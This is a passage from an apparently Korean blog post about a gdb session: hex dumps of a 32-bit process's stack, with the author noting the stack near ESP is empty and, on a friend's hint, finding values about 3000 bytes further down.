&lt;div&gt;0xbffffdf4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe04: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe14: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe24: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe34: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe44: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe54: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe64: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe74: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe84: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe94: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffea4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffeb4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffebc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffecc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffedc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffeec: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffefc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff0c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff1c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff2c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff3c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff4c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff5c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff6c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff7c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffff84: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff94: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffa4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffb4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffc4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffd4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffe4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffff4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;Cannot access memory at address 0xc0000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
후아......... 스택이 텅 비어있습니다. 혁주에게 힌트를 받은건데 저 멀리 뒷부분도 참조해보라는 힌트를 받았습니다.&lt;/div&gt;
&lt;div&gt;그래서 넉넉하게 -3000 부터 스택을 보았더니&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) x/50x $esp-3000&lt;/div&gt;
&lt;div&gt;0xbfffee54: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000038c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000000cb&lt;/div&gt;
&lt;div&gt;0xbfffee64: &amp;nbsp; &amp;nbsp; 0x0000059b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000707 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000557 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffee74: &amp;nbsp; &amp;nbsp; 0x00000564 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000301 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000048e&lt;/div&gt;
&lt;div&gt;0xbfffee84: &amp;nbsp; &amp;nbsp; 0x00000550 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000067f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffee94: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000715 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005e9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000060d&lt;/div&gt;
&lt;div&gt;0xbfffeea4: &amp;nbsp; &amp;nbsp; 0x00000529 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000003a4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000351 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006cd&lt;/div&gt;
&lt;div&gt;0xbfffeeb4: &amp;nbsp; &amp;nbsp; 0x000000b9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000679 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005e1&lt;/div&gt;
&lt;div&gt;0xbfffeec4: &amp;nbsp; &amp;nbsp; 0x00000141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000503 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000072 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000062d&lt;/div&gt;
&lt;div&gt;0xbfffeed4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005a3 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000021e&lt;/div&gt;
&lt;div&gt;0xbfffeee4: &amp;nbsp; &amp;nbsp; 0x0000020d &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000608 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffeef4: &amp;nbsp; &amp;nbsp; 0x00000706 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006f6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006fc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000041b&lt;/div&gt;
&lt;div&gt;0xbfffef04: &amp;nbsp; &amp;nbsp; 0x00000701 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000062b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000547 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffef14: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffef1c: &amp;nbsp; &amp;nbsp; 0x0000052c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000171 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000687 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000148&lt;/div&gt;
&lt;div&gt;0xbfffef2c: &amp;nbsp; &amp;nbsp; 0x00000497 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000002b9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000629&lt;/div&gt;
&lt;div&gt;0xbfffef3c: &amp;nbsp; &amp;nbsp; 0x000004f5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000029b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000725 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000639&lt;/div&gt;
&lt;div&gt;0xbfffef4c: &amp;nbsp; &amp;nbsp; 0x000002ac &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006f1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffef5c: &amp;nbsp; &amp;nbsp; 0x000006a1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004d4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005c9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000029f&lt;/div&gt;
&lt;div&gt;0xbfffef6c: &amp;nbsp; &amp;nbsp; 0x000006a6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000045f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006dd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004a6&lt;/div&gt;
&lt;div&gt;0xbfffef7c: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000620 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000051e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffef8c: &amp;nbsp; &amp;nbsp; 0x00000584 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000069c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000716 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000054d&lt;/div&gt;
&lt;div&gt;0xbfffef9c: &amp;nbsp; &amp;nbsp; 0x00000527 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004ed &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000003a1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000458&lt;/div&gt;
&lt;div&gt;0xbfffefac: &amp;nbsp; &amp;nbsp; 0x00000466 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000063f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000001ca&lt;/div&gt;
&lt;div&gt;0xbfffefbc: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000027f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006ba&lt;/div&gt;
&lt;div&gt;0xbfffefcc: &amp;nbsp; &amp;nbsp; 0x0000055a &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000002b6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000000d9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000053d&lt;/div&gt;
&lt;div&gt;0xbfffefdc: &amp;nbsp; &amp;nbsp; 0x00000252 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004bf&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffefe4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000071a &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000673 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005fb&lt;/div&gt;
&lt;div&gt;0xbfffeff4: &amp;nbsp; &amp;nbsp; 0x0000023f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000653 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000189&lt;/div&gt;
&lt;div&gt;0xbffff004: &amp;nbsp; &amp;nbsp; 0x000002a6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000367 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000003d7 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000340&lt;/div&gt;
&lt;div&gt;0xbffff014: &amp;nbsp; &amp;nbsp; 0x000005fe &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006f3 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000056e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004de&lt;/div&gt;
&lt;div&gt;0xbffff024: &amp;nbsp; &amp;nbsp; 0x00000306 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006a5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000145 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000000f8&lt;/div&gt;
&lt;div&gt;0xbffff034: &amp;nbsp; &amp;nbsp; 0x000000cc &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000001c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000005f1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000457&lt;/div&gt;
&lt;div&gt;0xbffff044: &amp;nbsp; &amp;nbsp; 0x00000712 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000703 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000226 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000513&lt;/div&gt;
&lt;div&gt;0xbffff054: &amp;nbsp; &amp;nbsp; 0x4002bb0e &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff128 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400081e6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4002bad5&lt;/div&gt;
&lt;div&gt;0xbffff064: &amp;nbsp; &amp;nbsp; 0x4002bad5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000598c&lt;/div&gt;
&lt;div&gt;0xbffff074: &amp;nbsp; &amp;nbsp; 0x00000432 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000013f &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000016e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000002f1&lt;/div&gt;
&lt;div&gt;0xbffff084: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000420 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000006c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000052e&lt;/div&gt;
&lt;div&gt;0xbffff094: &amp;nbsp; &amp;nbsp; 0x00005450 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000004cd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff0a4: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400221c0&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff0ac: &amp;nbsp; &amp;nbsp; 0x00000545 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40023fd0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001cd70 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828&lt;/div&gt;
&lt;div&gt;0xbffff0bc: &amp;nbsp; &amp;nbsp; 0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a98 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000002 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff0e0&lt;/div&gt;
&lt;div&gt;0xbffff0cc: &amp;nbsp; &amp;nbsp; 0x400221c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a2c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x03c40f19 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff15c&lt;/div&gt;
&lt;div&gt;0xbffff0dc: &amp;nbsp; &amp;nbsp; 0x4002995c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400221c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4002bad5&lt;/div&gt;
&lt;div&gt;0xbffff0ec: &amp;nbsp; &amp;nbsp; 0x4002bad5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000590a&lt;/div&gt;
&lt;div&gt;0xbffff0fc: &amp;nbsp; &amp;nbsp; 0x00000536 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000070b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000167 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000555&lt;/div&gt;
&lt;div&gt;0xbffff10c: &amp;nbsp; &amp;nbsp; 0x40001402 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff1e0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40008134 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000c7d&lt;/div&gt;
&lt;div&gt;0xbffff11c: &amp;nbsp; &amp;nbsp; 0x40024f23 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000f53&lt;/div&gt;
&lt;div&gt;0xbffff12c: &amp;nbsp; &amp;nbsp; 0x4000a7fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014818 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014b50 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000007&lt;/div&gt;
&lt;div&gt;0xbffff13c: &amp;nbsp; &amp;nbsp; 0x4000a74e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4010a1ec &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff1e1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff14c: &amp;nbsp; &amp;nbsp; 0x00000180 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400221c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4010a710 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffff15c: &amp;nbsp; &amp;nbsp; 0x400221c0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000474 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000824&lt;/div&gt;
&lt;div&gt;0xbffff16c: &amp;nbsp; &amp;nbsp; 0x400002f4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013c00&lt;/div&gt;
&lt;div&gt;(gdb)&lt;/div&gt;
&lt;div&gt;0xbffff174: &amp;nbsp; &amp;nbsp; 0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a98 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff198&lt;/div&gt;
&lt;div&gt;0xbffff184: &amp;nbsp; &amp;nbsp; 0x4001dd60 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014a34 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x056e90c5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff214&lt;/div&gt;
&lt;div&gt;0xbffff194: &amp;nbsp; &amp;nbsp; 0x40024f23 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001dd60 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000000bd&lt;/div&gt;
&lt;div&gt;0xbffff1a4: &amp;nbsp; &amp;nbsp; 0x4002bb0e &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff278 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400081e6 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4002bad5&lt;/div&gt;
&lt;div&gt;0xbffff1b4: &amp;nbsp; &amp;nbsp; 0x4002bad5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000187f&lt;/div&gt;
&lt;div&gt;0xbffff1c4: &amp;nbsp; &amp;nbsp; 0x00000001 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4001fe70 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000310 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40023fd0&lt;/div&gt;
&lt;div&gt;0xbffff1d4: &amp;nbsp; &amp;nbsp; 0x4001cd70 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff218&lt;/div&gt;
&lt;div&gt;0xbffff1e4: &amp;nbsp; &amp;nbsp; 0x4000a7fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014818 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014b50 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40001402&lt;/div&gt;
&lt;div&gt;0xbffff1f4: &amp;nbsp; &amp;nbsp; 0xbffff2c4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40008134 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000ec9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40025713&lt;/div&gt;
&lt;div&gt;0xbffff204: &amp;nbsp; &amp;nbsp; 0x40013868 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40014828 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00001743 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40024f23&lt;/div&gt;
&lt;div&gt;0xbffff214: &amp;nbsp; &amp;nbsp; 0x4001dd60 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff258 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000a970 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40017000&lt;/div&gt;
&lt;div&gt;0xbffff224: &amp;nbsp; &amp;nbsp; 0x40108980 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x400c0b00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40000ec9&lt;/div&gt;
